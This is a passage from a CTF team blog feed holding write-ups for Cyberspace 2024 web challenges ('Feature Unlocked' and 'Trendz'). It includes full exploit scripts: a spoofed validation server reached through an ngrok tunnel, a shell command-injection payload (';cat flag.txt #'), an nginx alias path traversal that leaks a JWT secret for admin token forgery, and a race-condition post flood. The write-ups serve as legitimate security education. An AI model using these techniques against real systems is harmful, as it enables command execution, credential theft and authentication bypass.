&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The solutions is very simple, A symlink is simply created pointing to /home/user/flag, it is then zipped and sent to the page, we save the file id and in the path uuid/name_file we send the file pointing to the symlink.&lt;/p&gt;
&lt;p&gt;flag: :spoiler[CSCTF{5yml1nk5_4r3_w31rd}]&lt;/p&gt;
</content:encoded></item><item><title>Cyberspace2024 | Feature Unlocked</title><link>https://bytethecookies.org/posts/cyberspace2024-feature_unlocked/</link><guid isPermaLink="true">https://bytethecookies.org/posts/cyberspace2024-feature_unlocked/</guid><description>The world&apos;s coolest app has a brand new feature! Too bad it&apos;s not released until after the CTF..</description><pubDate>Mon, 02 Sep 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Introduction&lt;/h2&gt;
&lt;p&gt;Feature unlocked is part of the first wave of the web and is one of the first challanges I solved. Made by cryptocat, who we salute, it is a fairly simple challange if you read the code correctly.&lt;/p&gt;
&lt;h2&gt;Source&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;# filename: main.py

import subprocess
import base64
import json
import time
import requests
import os
from flask import Flask, request, render_template, make_response, redirect, url_for
from Crypto.Hash import SHA256
from Crypto.PublicKey import ECC
from Crypto.Signature import DSS
from itsdangerous import URLSafeTimedSerializer

app = Flask(__name__)
app.secret_key = os.urandom(16)
serializer = URLSafeTimedSerializer(app.secret_key)

DEFAULT_VALIDATION_SERVER = &apos;http://127.0.0.1:1338&apos;
NEW_FEATURE_RELEASE = int(time.time()) + 7 * 24 * 60 * 60
DEFAULT_PREFERENCES = base64.b64encode(json.dumps({
    &apos;theme&apos;: &apos;light&apos;,
    &apos;language&apos;: &apos;en&apos;
}).encode()).decode()


def get_preferences():
    preferences = request.cookies.get(&apos;preferences&apos;)
    if not preferences:
        response = make_response(render_template(
            &apos;index.html&apos;, new_feature=False))
        response.set_cookie(&apos;preferences&apos;, DEFAULT_PREFERENCES)
        return json.loads(base64.b64decode(DEFAULT_PREFERENCES)), response
    return json.loads(base64.b64decode(preferences)), None


@app.route(&apos;/&apos;)
def index():
    _, response = get_preferences()
    return response if response else render_template(&apos;index.html&apos;, new_feature=False)


@app.route(&apos;/release&apos;)
def release():
    token = request.cookies.get(&apos;access_token&apos;)
    if token:
        try:
            data = serializer.loads(token)
            if data == &apos;access_granted&apos;:
                return redirect(url_for(&apos;feature&apos;))
        except Exception as e:
            print(f&quot;Token validation error: {e}&quot;)

    validation_server = DEFAULT_VALIDATION_SERVER
    if request.args.get(&apos;debug&apos;) == &apos;true&apos;:
        preferences, _ = get_preferences()
        validation_server = preferences.get(
            &apos;validation_server&apos;, DEFAULT_VALIDATION_SERVER)

    if validate_server(validation_server):
        response = make_response(render_template(
            &apos;release.html&apos;, feature_unlocked=True))
        token = serializer.dumps(&apos;access_granted&apos;)
        response.set_cookie(&apos;access_token&apos;, token, httponly=True, secure=True)
        return response

    return render_template(&apos;release.html&apos;, feature_unlocked=False, release_timestamp=NEW_FEATURE_RELEASE)


@app.route(&apos;/feature&apos;, methods=[&apos;GET&apos;, &apos;POST&apos;])
def feature():
    token = request.cookies.get(&apos;access_token&apos;)
    if not token:
        return redirect(url_for(&apos;index&apos;))

    try:
        data = serializer.loads(token)
        if data != &apos;access_granted&apos;:
            return redirect(url_for(&apos;index&apos;))

        if request.method == &apos;POST&apos;:
            to_process = request.form.get(&apos;text&apos;)
            try:
                word_count = f&quot;echo {to_process} | wc -w&quot;
                output = subprocess.check_output(
                    word_count, shell=True, text=True)
            except subprocess.CalledProcessError as e:
                output = f&quot;Error: {e}&quot;
            return render_template(&apos;feature.html&apos;, output=output)

        return render_template(&apos;feature.html&apos;)
    except Exception as e:
        print(f&quot;Error: {e}&quot;)
        return redirect(url_for(&apos;index&apos;))


def get_pubkey(validation_server):
    try:
        response = requests.get(f&quot;{validation_server}/pubkey&quot;)
        response.raise_for_status()
        return ECC.import_key(response.text)
    except requests.RequestException as e:
        raise Exception(
            f&quot;Error connecting to validation server for public key: {e}&quot;)


def validate_access(validation_server):
    pubkey = get_pubkey(validation_server)
    try:
        response = requests.get(validation_server)
        response.raise_for_status()
        data = response.json()
        date = data[&apos;date&apos;].encode(&apos;utf-8&apos;)
        signature = bytes.fromhex(data[&apos;signature&apos;])
        verifier = DSS.new(pubkey, &apos;fips-186-3&apos;)
        verifier.verify(SHA256.new(date), signature)
        return int(date)
    except requests.RequestException as e:
        raise Exception(f&quot;Error validating access: {e}&quot;)


def validate_server(validation_server):
    try:
        date = validate_access(validation_server)
        return date &amp;gt;= NEW_FEATURE_RELEASE
    except Exception as e:
        print(f&quot;Error: {e}&quot;)
    return False


if __name__ == &apos;__main__&apos;:
    app.run(host=&apos;0.0.0.0&apos;, port=1337)


&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;# filename: validation.py

from flask import Flask, jsonify
import time
from Crypto.Hash import SHA256
from Crypto.PublicKey import ECC
from Crypto.Signature import DSS

app = Flask(__name__)

key = ECC.generate(curve=&apos;p256&apos;)
pubkey = key.public_key().export_key(format=&apos;PEM&apos;)


@app.route(&apos;/pubkey&apos;, methods=[&apos;GET&apos;])
def get_pubkey():
    return pubkey, 200, {&apos;Content-Type&apos;: &apos;text/plain; charset=utf-8&apos;}


@app.route(&apos;/&apos;, methods=[&apos;GET&apos;])
def index():
    date = str(int(time.time()))
    h = SHA256.new(date.encode(&apos;utf-8&apos;))
    signature = DSS.new(key, &apos;fips-186-3&apos;).sign(h)

    return jsonify({
        &apos;date&apos;: date,
        &apos;signature&apos;: signature.hex()
    })


if __name__ == &apos;__main__&apos;:
    app.run(host=&apos;127.0.0.1&apos;, port=1338)

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The application is divided into two parts: the main one, where we find the web application, and a server used to validate the access token with the access_garantied parameter for the release of the feature.&lt;/p&gt;
&lt;p&gt;One thing that immediately stands out is a part of the main code where a debug mode is given.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if request.args.get(&apos;debug&apos;) == &apos;true&apos;:
  preferences, _ = get_preferences()
  validation_server = preferences.get(
  &apos;validation_server&apos;, DEFAULT_VALIDATION_SERVER)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If the get arguments have the &lt;code&gt;debug=true&lt;/code&gt; option, it will take the validation server from our preferences, which we remember to be a simple base64 cookie from a json so easily replicable.&lt;/p&gt;
&lt;h2&gt;Solution&lt;/h2&gt;
&lt;p&gt;What we can do is give the application its own validation server, which is simply a copy of our own, except that we can change the date of the server to make the feature.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# filename: evil_validation.py


from flask import Flask, jsonify
import time
from Crypto.Hash import SHA256
from Crypto.PublicKey import ECC
from Crypto.Signature import DSS

app = Flask(__name__)

key = ECC.generate(curve=&apos;p256&apos;)
pubkey = key.public_key().export_key(format=&apos;PEM&apos;)


@app.route(&apos;/pubkey&apos;, methods=[&apos;GET&apos;])
def get_pubkey():
    print(&quot;Pubkey: &quot; + pubkey)
    return pubkey, 200, {&apos;Content-Type&apos;: &apos;text/plain; charset=utf-8&apos;}


@app.route(&apos;/&apos;, methods=[&apos;GET&apos;])
def index():
    date = str(int(time.time()) + 7 * 24 * 60 * 60)
    h = SHA256.new(date.encode(&apos;utf-8&apos;))
    signature = DSS.new(key, &apos;fips-186-3&apos;).sign(h)

    print(&quot;Date: &quot; + date)
    print(&quot;Signature: &quot; + signature.hex())
    print(&quot;Validating signature...&quot;)

    print(jsonify({
        &apos;date&apos;: date,
        &apos;signature&apos;: signature.hex()
    }))

    return jsonify({
        &apos;date&apos;: date,
        &apos;signature&apos;: signature.hex()
    })


if __name__ == &apos;__main__&apos;:
    app.run(host=&apos;127.0.0.1&apos;, port=1338)

&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;# filename: exploit.py

#!/usr/bin/python3

import base64
import requests
import json
from bs4 import BeautifulSoup

BASE_URL = &quot;https://feature-unlocked-web-challs.csc.tf&quot;
URL_HOOK = &quot;https://3fcb-79-33-159-173.ngrok-free.app&quot; # ngrok tunnel with evil_validation.py in listening (so run python3 evil_validation; ngrok http 1338 )

s = requests.Session()

def get_validation():

  preference = base64.b64encode(json.dumps({
      &apos;theme&apos;: &apos;light&apos;,
      &apos;language&apos;: &apos;en&apos;,
      &apos;validation_server&apos;: URL_HOOK
  }).encode()).decode()

  r = s.get(f&quot;{BASE_URL}/release&quot;, params={&quot;debug&quot;: &quot;true&quot;},
            cookies={&quot;preferences&quot;: preference})

  print(f&quot;{s.cookies=}&quot;)

def get_flag():
  payload = &apos;;cat flag.txt #&apos; # Bypass for  word_count = f&quot;echo {to_process} | wc -w&quot;
  r = s.post(f&quot;{BASE_URL}/feature&quot;,data={&quot;text&quot;:payload})
  soup = BeautifulSoup(r.text, &apos;html.parser&apos;)
  print(&quot;Flag: &quot; + (soup.find(&apos;pre&apos;).text).strip())

def main():
  get_validation()
  get_flag()


if __name__ == &quot;__main__&quot;:
  main()

# goodluck by @akiidjk

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;flag: :spoiler[CSCTF{d1d_y0u_71m3_7r4v3l_f0r_7h15_fl46?!}]&lt;/p&gt;
</content:encoded></item><item><title>Cyberspace2024 | Trendz</title><link>https://bytethecookies.org/posts/cyberspace2024-trendz/</link><guid isPermaLink="true">https://bytethecookies.org/posts/cyberspace2024-trendz/</guid><description>The latest trendz is all about Go and HTMX, but what could possibly go wrong? A secret post has been hidden deep within the application. Your mission is to uncover it.</description><pubDate>Mon, 02 Sep 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Preamble&lt;/h2&gt;
&lt;p&gt;This challenge is divided into four parts, three webs and a reverse. I&apos;m excited to share that I managed to solve the first two webs! I&apos;ll insert them all in a write-up, trying to explain them in the way the author thought. I admit I did not solve them in order, but I&apos;m eager to see how they fit together.
The application was written in Go using templates and a JWT authentication, and it&apos;s write well! The application itself has many files, but they are well written and ordered, so a thorough analysis is not difficult but necessary. The application is divided into 5 basic parts.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Config file&lt;/strong&gt;: &lt;code&gt;ngix.conf&lt;/code&gt; ,&lt;code&gt;run.sh&lt;/code&gt;,&lt;code&gt;init.sql&lt;/code&gt;, &lt;code&gt;dockerfile&lt;/code&gt; and &lt;code&gt;.dockerignore&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Main go file&lt;/strong&gt;: &lt;code&gt;main.go&lt;/code&gt; This is where you&apos;ll find all the details about how to use the different functions and what they do!&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Dashboard&lt;/strong&gt;: Here are the 3 types of dashboards possible in the application&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Jwt handler&lt;/strong&gt;: How to use JWT for authentication.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Service&lt;/strong&gt;: The various services such as post creation or user validation&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Application flow&lt;/h2&gt;
&lt;p&gt;The basic application is presented with a login/registration screen where once we are logged in we are assigned an accesstoken and a refreshtoken, a redirect to the standard user dashboard occurs where we can create posts and view them via &lt;code&gt;/posts/post-id&lt;/code&gt;,basically more than this we cannot do&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/trendz/image.png&quot; alt=&quot;alt text&quot; /&gt;
&lt;img src=&quot;/images/trendz/image-1.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Path structure&lt;/h2&gt;
&lt;p&gt;As mentioned before in the main.go we find the path declaration and some very important initialization functions&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// filename: main.go

func main() {
 s := gin.Default()
 s.LoadHTMLGlob(&quot;templates/*&quot;)
 db.InitDBconn()
 jwt.InitJWT() // Initialization of jwt we will analyze it later

 s.GET(&quot;/&quot;, func(c *gin.Context) {
  c.Redirect(302, &quot;/login&quot;)
 })
 s.GET(&quot;/ping&quot;, func(c *gin.Context) {
  c.JSON(200, gin.H{
   &quot;message&quot;: &quot;pong&quot;,
  })
 })
 r := s.Group(&quot;/&quot;)
 r.POST(&quot;/register&quot;, service.CreateUser)
 r.GET(&quot;/register&quot;, func(c *gin.Context) {
  c.HTML(200, &quot;register.tmpl&quot;, gin.H{})
 })
 r.POST(&quot;/login&quot;, service.LoginUser)
 r.GET(&quot;/login&quot;, func(c *gin.Context) {
  c.HTML(200, &quot;login.tmpl&quot;, gin.H{})
 })

 r.GET(&quot;/getAccessToken&quot;, service.GenerateAccessToken)

 authorizedEndpoints := r.Group(&quot;/user&quot;)
 authorizedEndpoints.Use(service.AuthorizeAccessToken())
 authorizedEndpoints.GET(&quot;/dashboard&quot;, dashboard.UserDashboard)
 authorizedEndpoints.POST(&quot;/posts/create&quot;, service.CreatePost)
 authorizedEndpoints.GET(&quot;/posts/:postid&quot;, service.ShowPost)
 authorizedEndpoints.GET(&quot;/flag&quot;, service.DisplayFlag)

 adminEndpoints := r.Group(&quot;/admin&quot;)
 adminEndpoints.Use(service.AuthorizeAccessToken())
 adminEndpoints.Use(service.ValidateAdmin())
 adminEndpoints.GET(&quot;/dashboard&quot;, dashboard.AdminDashboard)

 SAEndpoints := r.Group(&quot;/superadmin&quot;)
 SAEndpoints.Use(service.AuthorizeAccessToken())
 SAEndpoints.Use(service.ValidateAdmin())
 SAEndpoints.Use(service.AuthorizeRefreshToken())
 SAEndpoints.Use(service.ValidateSuperAdmin())
 SAEndpoints.GET(&quot;/viewpost/:postid&quot;, dashboard.ViewPosts)
 SAEndpoints.GET(&quot;/dashboard&quot;, dashboard.SuperAdminDashboard)
 s.NoRoute(custom.Custom404Handler)
 s.Run(&quot;:8000&quot;)
}

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;As it is seen the scheme of the paths is very clear and it is well done basically we have the login and registration and then we move to a division by &lt;code&gt;role&lt;/code&gt; where we have a user section an admin and a superadmin each of them with their own validation services&lt;/p&gt;
&lt;h2&gt;Config files&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;# filename: run.sh

#!/bin/env sh
cat /dev/urandom | head | sha1sum | cut -d &quot; &quot; -f 1 &amp;gt; /app/jwt.secret

export JWT_SECRET_KEY=notsosecurekey
export ADMIN_FLAG=CSCTF{flag1}
export POST_FLAG=CSCTF{flag2}
export SUPERADMIN_FLAG=CSCTF{flag3}
export REV_FLAG=CSCTF{flag4}
export POSTGRES_USER=postgres
export POSTGRES_PASSWORD=mysecretpassword
export POSTGRES_DB=devdb

uuid=$(cat /proc/sys/kernel/random/uuid)
user=$(cat /dev/urandom | head | md5sum | cut -d &quot; &quot; -f 1)
cat &amp;lt;&amp;lt; EOF &amp;gt;&amp;gt; /docker-entrypoint-initdb.d/init.sql
 INSERT INTO users (username, password, role) VALUES (&apos;superadmin&apos;, &apos;superadmin&apos;, &apos;superadmin&apos;);
    INSERT INTO posts (postid, username, title, data) VALUES (&apos;$uuid&apos;, &apos;$user&apos;, &apos;Welcome to the CTF!&apos;, &apos;$ADMIN_FLAG&apos;);
EOF

docker-ensure-initdb.sh &amp;amp;
GIN_MODE=release /app/chall &amp;amp; sleep 5
su postgres -c &quot;postgres -D /var/lib/postgresql/data&quot; &amp;amp;

nginx -g &apos;daemon off;&apos;

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This file is actually very important because it gives us an idea of where the flags are (which fortunately are also numbered)&lt;/p&gt;
&lt;p&gt;As we see the first thing that is done is to create a file called jwt.secret that will be a source of interest later,&lt;/p&gt;
&lt;p&gt;We see that another jwt secret is initialized and 4 flags in 4 different environment variables,&lt;/p&gt;
&lt;p&gt;Queries are made one in which the superadmin user is created and another in which the flag is inserted in a record in the posts table&lt;/p&gt;
&lt;p&gt;Finally, the postgree database and the ngix server are started.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
user  nobody;
worker_processes  auto;

events {
    worker_connections  1024;
}


http {
    include       mime.types;
    default_type  application/octet-stream;

    sendfile        on;
    keepalive_timeout  65;

    server {
        listen       80;
        server_name  localhost;
        location / {
            proxy_pass http://localhost:8000;
        }
        location /static {
            alias /app/static/;
        }
        error_page   500 502 503 504  /50x.html;
        location = /50x.html {
            root   html;
        }

    }

}

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is the ngix configuration, where a fairly standard configuration is written, except for declaring a &lt;code&gt;/static&lt;/code&gt; alias.&lt;/p&gt;
&lt;p&gt;Well, once I&apos;ve finished presenting the application, I&apos;d say you&apos;re ready to go...&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;Trendz Part 1&lt;/h1&gt;
&lt;p&gt;&lt;strong&gt;Description&lt;/strong&gt;: The latest trendz is all about Go and HTMX, but what could possibly go wrong? A secret post has been hidden deep within the application. Your mission is to uncover it.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Note: This challenge consists of four parts, which can be solved in any order. However, the final part will only be accessible once you&apos;ve completed this initial task, and will be released in Wave 3.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Introduction&lt;/h2&gt;
&lt;p&gt;Well, as we saw in the run.sh file, the first flag is inside a record in the post table and it is also called ADMIN_FLAG, so the first thing to see is how admin authentication works and what the admin dashboard can do.&lt;/p&gt;
&lt;h2&gt;Source&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;// filename: AdminDash.go

package dashboard

import (
 &quot;app/handlers/service&quot;
 &quot;os&quot;

 &quot;github.com/gin-gonic/gin&quot;
)

func AdminDashboard(ctx *gin.Context) {
 posts := service.GetAllPosts()
 ctx.HTML(200, &quot;adminDash.tmpl&quot;, gin.H{
  &quot;flag&quot;:  os.Getenv(&quot;ADMIN_FLAG&quot;),
  &quot;posts&quot;: posts,
 })
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;As we can see, the dashboard is very concise, we simply see that the &lt;code&gt;GetAllPosts()&lt;/code&gt; function is called and then they are sent to the template, so not much to do here, let&apos;s move on to how the admin is authenticated.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;//filename: main.go

adminEndpoints := r.Group(&quot;/admin&quot;)
adminEndpoints.Use(service.AuthorizeAccessToken())
adminEndpoints.Use(service.ValidateAdmin())
adminEndpoints.GET(&quot;/dashboard&quot;, dashboard.AdminDashboard)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;As we can see from the code, whenever we try to connect to the admin dashboard, it first runs two functions, &lt;code&gt;ValidateAccess()&lt;/code&gt; and &lt;code&gt;ValidateAdmin()&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;//filename: JWTHandler.go

func AuthorizeAccessToken() gin.HandlerFunc {
 return func(c *gin.Context) {
  c.Header(&quot;X-Frame-Options&quot;, &quot;DENY&quot;)
  c.Header(&quot;X-XSS-Protection&quot;, &quot;1; mode=block&quot;)
  const bearerSchema = &quot;Bearer &quot;
  var tokenDetected bool = false
  var tokenString string
  authHeader := c.GetHeader(&quot;Authorization&quot;)
  if len(authHeader) != 0 {
   tokenDetected = true
   tokenString = authHeader[len(bearerSchema):]
  }
  if !tokenDetected {
   var err error
   tokenString, err = c.Cookie(&quot;accesstoken&quot;)
   if tokenString == &quot;&quot; || err != nil {
    c.Redirect(302, &quot;/getAccessToken?redirect=&quot;+c.Request.URL.Path)
   }
  }
  fmt.Println(tokenString)
  token, err := jwt.ValidateAccessToken(tokenString)
  if err != nil {
   fmt.Println(err)
   c.AbortWithStatus(403)
  }
  if token.Valid {
   claims := jwt.GetClaims(token)
   fmt.Println(claims)
   c.Set(&quot;username&quot;, claims[&quot;username&quot;])
   c.Set(&quot;role&quot;, claims[&quot;role&quot;])
  } else {
   fmt.Println(&quot;Token is not valid&quot;)
   c.Header(&quot;HX-Redirect&quot;, &quot;/getAccessToken&quot;)
   c.AbortWithStatus(403)
  }
 }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is a pretty standard function regarding JWT integrity checking, in fact here we see that the function checks that the cookie is well formatted and has no problems by validating it with the &lt;code&gt;ValidateAccessToken()&lt;/code&gt; function, otherwise it rejects it or aborts the operation.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;//filename: JWTAuth.go

func ValidateAccessToken(encodedToken string) (*jwt.Token, error) {
 return jwt.Parse(encodedToken, func(token *jwt.Token) (interface{}, error) {
  _, isValid := token.Method.(*jwt.SigningMethodHMAC)
  if !isValid {
   return nil, fmt.Errorf(&quot;invalid token with signing method: %v&quot;, token.Header[&quot;alg&quot;])
  }
  return []byte(secretKey), nil
 })
}

// The function is safe and it is not subject to `alg:none` or any other kind of attack, so we must move on.
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;//filename: ValidateAdmin.go

func ValidateAdmin() gin.HandlerFunc {
 return func(c *gin.Context) {
  const bearerSchema = &quot;Bearer &quot;
  var tokenDetected bool = false
  var tokenString string
  authHeader := c.GetHeader(&quot;Authorization&quot;)
  if len(authHeader) != 0 {
   tokenDetected = true
   tokenString = authHeader[len(bearerSchema):]
  }
  if !tokenDetected {
   var err error
   tokenString, err = c.Cookie(&quot;accesstoken&quot;)
   if tokenString == &quot;&quot; || err != nil {
    c.Redirect(302, &quot;/getAccessToken?redirect=&quot;+c.Request.URL.Path)
   }
  }
  fmt.Println(tokenString)
  claims := jwt.ExtractClaims(tokenString)
  if claims[&quot;role&quot;] == &quot;admin&quot; || claims[&quot;role&quot;] == &quot;superadmin&quot; {
   fmt.Println(claims)
  } else {
   fmt.Println(&quot;Token is not valid&quot;)
   c.AbortWithStatusJSON(403, gin.H{&quot;error&quot;: &quot;User Unauthorized&quot;})
   return
  }
 }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Instead, we see here that the role is validated in the JWT by checking that it is at least admin or superadmin.&lt;/p&gt;
&lt;h2&gt;Solution&lt;/h2&gt;
&lt;p&gt;Mmm authentication seems secure let&apos;s take a step back and go to the JWTInit function.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;//filename: JWTAuth.go

func InitJWT() {
 key, err := os.ReadFile(&quot;jwt.secret&quot;)
 if err != nil {
  panic(err)
 }
 secretKey = key[:]
 fmt.Printf(&quot;JWT initialized %v\n&quot;, secretKey)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We see that the function itself doesn&apos;t do much simply takes the key with which it will sign jwt&apos;s from a file well known to us in fact we have seen it in run.sh where it is created and where a secure value is put there&lt;/p&gt;
&lt;p&gt;But if we analyse the Docker file system locally, we see that jwt.secret is located in the same folder as static, which we saw in the ngix configuration create an alias to that path.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;location /static {
            alias /app/static/;
        }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If we try to access /static we can see.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/trendz/image-2.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;p&gt;NOTHING... But we can wander around a bit for js and css files that we don&apos;t need though, And if we try a class ../ after static we see that it doesn&apos;t find anything there&lt;/p&gt;
&lt;p&gt;Hmm will there be a way to bypass the ngix and access the file?&lt;/p&gt;
&lt;p&gt;Well actually yes because the configuration as we see on &lt;a href=&quot;https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/nginx#alias-lfi-misconfiguration&quot;&gt;hacktricks&lt;/a&gt; is insecure and easily bypassed like this&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/trendz/image-3.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;p&gt;And if we try to type &lt;code&gt;/static../jwt.secret&lt;/code&gt;... NICE WE GOT THE JWT SECRET&lt;/p&gt;
&lt;p&gt;Now just change the role of the jwt and re-sign it but we&apos;ll see that later in detail being that the challenge itself is solved... &lt;strong&gt;(At the end see the #PS)&lt;/strong&gt;&lt;/p&gt;
&lt;h1&gt;Trendz Part 2&lt;/h1&gt;
&lt;p&gt;&lt;strong&gt;Descripion&lt;/strong&gt;: Staying active has its rewards. There&apos;s a special gift waiting for you, but it&apos;s only available once you&apos;ve made more than 12 posts. Keep posting to uncover the surprise!&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Note: Use the instancer and source from part one of this challenge, Trendz.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Introduction&lt;/h2&gt;
&lt;p&gt;We are in the second part of the Trendz challenge, so we have exactly the same application, only the target flag has changed.&lt;/p&gt;
&lt;h2&gt;Source&lt;/h2&gt;
&lt;p&gt;First thing to figure out is where the flag is located, going back to the run.sh we see that the file is located inside the &lt;code&gt;POST_FLAG&lt;/code&gt; environment variable so we presso let&apos;s assume that the posts center something, searching the directories with grep or something else we see that the variable is called here:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;//filename: Posts.go

func DisplayFlag(ctx *gin.Context) {
 username := ctx.MustGet(&quot;username&quot;).(string)
 noOfPosts := CheckNoOfPosts(username)
 if noOfPosts &amp;lt;= 12 {

  ctx.JSON(200, gin.H{&quot;error&quot;: fmt.Sprintf(&quot;You need %d more posts to view the flag&quot;, 12-noOfPosts)})
  return
 }
 ctx.JSON(200, gin.H{&quot;flag&quot;: os.Getenv(&quot;POST_FLAG&quot;)})
}

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Oh we just need to make 12 simple posts no?&lt;/p&gt;
&lt;p&gt;Well not really in fact if we see the function that creates the posts we can see that it doesn&apos;t allow us to make more than 12&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;//filename: Posts.go

func CreatePost(ctx *gin.Context) {
 username := ctx.MustGet(&quot;username&quot;).(string)
 noOfPosts := CheckNoOfPosts(username)
 var req struct {
  Title string `json:&quot;title&quot;`
  Data  string `json:&quot;data&quot;`
 }
 if err := ctx.BindJSON(&amp;amp;req); err != nil {
  ctx.JSON(400, gin.H{&quot;error&quot;: &quot;Invalid request&quot;})
  fmt.Println(err)
  return
 }
 if noOfPosts &amp;gt;= 10 {
  ctx.JSON(200, gin.H{&quot;error&quot;: &quot;You have reached the maximum number of posts&quot;})
  return
 }
 if len(req.Data) &amp;gt; 210 {
  ctx.JSON(200, gin.H{&quot;error&quot;: &quot;Data length should be less than 210 characters&quot;})
  return
 }
 postID := InsertPost(username, req.Title, req.Data)
 ctx.JSON(200, gin.H{&quot;postid&quot;: postID})
}

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;As we can see, a function is executed that checks the number of posts, which in itself is not a major problem, the problem lies in the misuse of this function.&lt;/p&gt;
&lt;p&gt;This is because although go is very fast and even postgree actually this doesn&apos;t stop us from making a race condition&lt;/p&gt;
&lt;h2&gt;Solution&lt;/h2&gt;
&lt;p&gt;The solution itself is very simple just create a large amount of requests simultaneously with the same session and hope to enter more posts than allowed by doing so we will be able to bypass the control and get our flag&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Probably the reason it works is much more precise and technical, but to tell you the truth, it came to me as soon as I saw it and tried it, and apparently my hunch was right...&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Final script&lt;/h2&gt;
&lt;p&gt;This is the final exploit script with the 2 challenge solution&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# filename: exploit.py
#!/usr/bin/python3

from concurrent.futures import ThreadPoolExecutor, as_completed
from bs4 import BeautifulSoup
import requests
import jwt
import string
import random

BASE_URL = &quot;https://ID-INSTANCE.bugg.cc/&quot;

s = requests.Session()

def random_string(length):
    return &apos;&apos;.join(random.choice(string.ascii_letters + string.digits) for _ in range(length))


def login(username, password):
    response = s.post(f&quot;{BASE_URL}/login&quot;,
                      json={&quot;username&quot;: username, &quot;password&quot;: password})
    if response.status_code != 200:
        print(f&quot;Login failed: {response.status_code}&quot;)
        exit(response.status_code)


def register(username, password):
    response = s.post(f&quot;{BASE_URL}/register&quot;,
                      json={&quot;username&quot;: username, &quot;password&quot;: password})
    if response.status_code != 200:
        print(f&quot;Register failed: {response.status_code}&quot;)
        exit(response.status_code)

def logout():
    s.cookies.clear()

def create_post(title: str = &quot;title&quot;, content: str = &quot;content&quot;):
    response = s.post(f&quot;{BASE_URL}/user/posts/create&quot;,
                      json={&quot;title&quot;: title, &quot;data&quot;: content})
    if response.status_code != 200:
        print(f&quot;Post creation failed: {response.status_code}&quot;)
        exit(response.status_code)


def run_tasks(num_tasks, concurrency_limit):
    results = []
    with ThreadPoolExecutor(max_workers=concurrency_limit) as executor:
        futures = [executor.submit(create_post)
                   for _ in range(num_tasks)]
        for future in as_completed(futures):
            results.append(future.result())

    return results

def download_secret():
  r = s.get(f&quot;{BASE_URL}/static../jwt.secret&quot;, stream=True)
  with open(&quot;jwt.secret&quot;, &quot;wb&quot;) as f:
      for chunk in r.iter_content(chunk_size=1024):
        f.write(chunk)

def resign_jwt(claims, secret_key):
    return jwt.encode(claims, secret_key, algorithm=&apos;HS256&apos;)

def get_flag_2():
    for _ in range(10):
        print(&quot;Try: &quot; + str(_),end=&quot;\r&quot;)
        run_tasks(num_tasks=50,concurrency_limit=100)
        response = s.get(f&quot;{BASE_URL}/user/flag&quot;)
        if &quot;CSCTF{&quot; in response.text:
            print(&quot;Flag 2 trendzz: &quot; + response.json()[&apos;flag&apos;])
            return True
        else:
            logout()
            username, password = random_string(10), random_string(10)
            register(username, password)
            login(username, password)
    return False

def get_flag_1():
    download_secret()

    with open(&quot;./jwt.secret&quot;, &quot;rb&quot;) as file:
        key = file.read()

    print(f&quot;Jwt secret leaked: {key}&quot;)

    original_token = s.cookies.get_dict().get(&quot;accesstoken&quot;)

    decoded_claims = jwt.decode(original_token, key, algorithms=[&apos;HS256&apos;])

    decoded_claims[&apos;role&apos;] = &apos;admin&apos;

    new_jwt = resign_jwt(decoded_claims, key)

